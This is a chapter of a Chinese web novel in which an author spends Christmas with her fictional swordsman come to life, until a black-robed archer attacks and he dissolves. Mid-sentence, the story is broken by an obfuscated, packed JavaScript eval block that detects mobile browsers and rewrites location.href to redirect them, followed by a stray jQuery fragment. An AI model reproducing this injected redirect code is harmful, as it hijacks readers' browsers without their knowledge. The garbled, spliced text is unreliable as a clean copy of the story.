沧州的雪季长达数月，短暂的晴天结束，郁酒酒和司钊继续进行宅家生活。
先前计划好的滑雪之行，不得不取消。郁酒酒在家里测试过，司钊无法控制雪服和雪板隐形，保险起见，户外运动这一项算是彻底从计划清单里拿掉。
圣诞节将至，郁酒酒在国外读过小学，过圣诞节的习惯一直延续下来。
家里的装饰换成红绿配色，三米的圣诞树摆在壁炉旁，司钊站在梯子上装饰圣诞树。
这些天，司钊从未用法术，于是打结的星星灯成为难题。他皱着眉，一点点拆，再一点点缠在圣诞树上。
“为什么要在圣诞树上挂这么多球？司钊——”
郁酒酒尾音拉得很长。她抱着一颗椰子坐在地毯上，看着司钊忙来忙去，身上挂着一大串小彩球。
礼物堆已经包装好，堆在圣诞树下，郁酒酒闲来无事，盯着司钊看——
“酒酒，我要喝芋泥啵啵。”司钊一板正经地说。
“遵命。”郁酒酒潇洒地敬礼，“这就为您点外卖。”
司钊赞叹：“酒酒是一位非常会点外卖的作者大人。”
二十六天，上百次外卖。司钊几乎尝遍了所有沧州的特色菜系，以及一些连锁品牌的菜色。
他的口味很固定，喜欢甜，不喜欢酸，可以吃辣，但不喜欢。他非常喜欢刺身和寿司，还有煎炸烤一类的食物，特别是蛋挞。
《不羡》中很少描写司钊的口味。
在故事设定之外，他拥有自己的喜好，不再是设定堆叠而成的角色，他是一个独立的灵魂。
郁酒酒望着司钊在家里走来走去的身影，幸福地弯起了唇，哼着经典的圣诞歌小曲。
等待芋泥啵啵的时候，郁酒酒戳戳司钊，说：“我想喝茶，你煮的茶。”
司钊对于作者大人有求必应。他从储藏室翻出碳火小炉，挑了一只最喜欢的茶壶，开始煮茶。
郁酒酒抱着小熊呆呆地看。
《不羡》里司钊没什么喜好，不是练剑，就是发呆，唯一的日常是——每当思念母亲的时候，他会在茫茫雪地里，燃起一簇灵火。雪融化成水，水和茶叶在火焰中翻滚。
那时她描写他——司钊操控火焰在水中穿梭，精准的控制力，预示着他终将在选择的道路上一往无前。
“酒酒，尝一尝。”司钊眨了下眼，“家里没有我喝过的‘雪夜春’，看来作者大人喝不到自己在书中写的茶？”
“是的。”郁酒酒情绪低落下来。她悄悄测试过，“雪夜春”没有办法来到现实中，这一条在《司钊手记》中无法保存。
那千机弩为什么能出现在现实中，难道这一切真的发生在未来吗？就像小说故事中的因果循环论。
“叮——”
手机弹窗弹出，郁酒酒爬起来拿外卖，她步子走得很慢，开门时，望着门口的外卖晃了下神。
对面搬来了新邻居吗？对面的灯在今天忽然亮起，玻璃上映着郁酒酒的影子。这片区域的别墅隐私性很好，在外面经过，什么也不会看到。
她关上门，心里奇怪的感觉没有消散。
“发生什么了吗？”司钊接过外卖袋，一直和郁酒酒走到沙发前坐下。
“没，就是觉得怪怪的。你知道我不是很喜欢人群。所以搬来了新邻居，我心里有点负担，好像对面有人在看着我一样……”
沉默的时间里，司钊静静地望着她，没有说话，也没有打开外卖拿出心心念念的芋泥啵啵。
“你不喝吗？”郁酒酒的神经跳了一下，她从幻想里挣出来，呼了口气。
他的眼神很宁静，又好像知道她此时此刻在想什么。
“我要喝茶。”郁酒酒说。
司钊递给她，然后打开外卖，插上吸管。
芋泥啵啵放到现在是一种微凉的口感，他用力吸了一口，说：“酒酒，这段时间我很开心，也很感谢你……”
“等等——”郁酒酒觉得自己的大脑需要反应一下，玩笑着说：“你这样好像在和我告别哇！”
她掩饰住全部的失落，指着司钊威胁道：“你不会要走了吧！”
“没有。”司钊凝望着她，重复说：“怎么会呢？永远也不想离开作者大人。”
-
平安夜一夜平安，什么也没有发生。
圣诞节，清晨，郁酒酒雀跃地敲了敲司钊的门，在门开的瞬间，喊道：“司钊！MerryChristmas！”
司钊眼神很茫然。
郁酒酒说：“圣诞节快乐，你可以拆礼物啦。”
郁酒酒拉着他下楼，穿过客厅，走到圣诞树下，亮晶晶的眼神望着司钊。
“圣诞节快乐，酒酒。”司钊说。
这一刻，郁酒酒不开心，她嗅到了离别的气氛，却没有开口问。
礼物一件件拆开，在理智的天平上一个个增加砝码。郁酒酒掐住手心，控制着自己不要说出一些破坏气氛的话。
司钊拆开最后一件礼物后，温柔地说：“我很喜欢，喜欢毛绒小马，喜欢每一件礼物，喜欢圣诞树，喜欢和酒酒一起度过的圣诞节。但是——”
“你要说什么？”郁酒酒质问，声音有些颤抖，“一定要现在说不可吗？就不可以过了今天吗？”
她越来越小声，“还没有一个月。我答应你的一个月，还没有做到……”
“每一天都在珍惜，那一天和一个月也没有分别。”司钊抬眼望了下墙壁上的挂钟，轻轻说：“酒酒，告别的时间到了。”
2024年12月25日12时。
第一声报时的钟摆敲响，郁酒酒几乎哭出来。
“今天是周三，今天才周三，周末天气晴朗，我们说过要带你出门的，司钊。”郁酒酒双手搭在他肩上，在星光闪烁的圣诞树前，问他：“你会和我一起的，对吗？”
司钊沉下眼睛，低声说：“我……很抱歉。”
第十二声钟声敲响，郁酒酒再一次听见了熟悉的敲门声。
来自黑袍的敲门声，那样慢，那样轻，宛如死神来临前最后的预告。
“咚——咚——咚——”
奇怪，郁酒酒在这一刻出奇的冷静，“所以，我们就这样了吗？就要结束了吗？”
才没有舍不得。
郁酒酒轻轻捧起司钊的脸，目光描摹他的眉眼，轻轻说：“我把你写得很漂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026404|194431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亮。剑眉星目，朗月清风，如霜雪般洁白，似鬼厄般无情。”
一字一句复述着《不羡》里的台词，郁酒酒问：“你这样出尘绝世的人，真的懂感情吗？你凝望我的眼睛里，还在望着谁？”
头脑从未比此时更加清醒，她又问：“你可以游走时间，那你见过未来的我吗？嗯？”
“咚——咚——咚——”
催促的敲门声再次响起。
“酒酒，开门。”司钊避而不答，眉目含情地望着她，叮咛：“一会儿记得在我消散前，开门，好吗？”
郁酒酒歪着脑袋，不明白他眼睛里深切的情谊。
有些事情超出了认知，人就会显得茫然又天真。
“司钊，我会努力让你活下去，活到与天同寿，好不好？”郁酒酒承诺：“你的话，我的问题，我现在都不懂，可是我会懂的。我会好好研究，好好回答，好好地说给你听。好不好？”
“好。”司钊说。
“黑袍上次来，他说是我写死了雪夜的你，那现在呢？你不怀疑是我写死你的吗？”郁酒酒好奇。
司钊重重摇头，释然地笑，“我生来就是相信作者大人的，直至我的死亡也不会改变。”
他知道，没有谁比郁酒酒更希望他活着。
作者大人是这世上第一个爱他的人，比其他任何人都要早、都要更加珍视。
“为什么？”郁酒酒问。
司钊轻轻在她手背上落下一个吻，满含对未来的希冀和期望。
“因为我见过作者大人的。过去，现在，未来，您会一直活下去，在下一个明天，与我再见。”
“作者大人，为他开门吧。”司钊说。
郁酒酒认命般慢慢挪到门口，背影颤抖。
门外，黑袍握着千机弩再一次隔门瞄准——
“酒酒，跑！”司钊喊。
弩箭连发——
破空声、刺入声、沉闷的阻滞声……
穿过郁酒酒的身体，她毫发无伤，然而——
她在巨大的惊惧中，一边奔跑，一边努力想要听清司钊的呼吸声，想起万圣夜自己的一寸伤口，细小的冰晶冻住了血液，她再一次痛彻心扉，。
司钊没有一声痛呼。
他此刻，再一次被刺穿心脏；他会痛的，却什么也没说；他怕自己妨碍了郁酒酒的路。
郁酒酒决绝地推开了门，她要勇敢地往前走，昂首挺胸地奔向司钊口中的未来。
世界扭曲的第一秒，郁酒酒回望那个血湿满襟的身影，为她挡下所有的他……
司钊竟然了无生气，眼神空洞而麻木。
郁酒酒忽然很惊恐，他在放弃，他在任由生命流逝。
没有人比她更明白司钊，再不会有人懂得他了。
郁酒酒喊：“司钊，你给我活着！不许放弃，不许自毁——”
目不转睛间，司钊同整个世界一起扭曲，旋转撕扯间，坠入未知漩涡。
最后一刻，他其实动了动唇，发不出声音。
作者大人，你笔下的我，生来就是自毁之人。
司钊闭上眼，身体被风刃撕裂，像一面打碎的镜子，崩碎、坠落。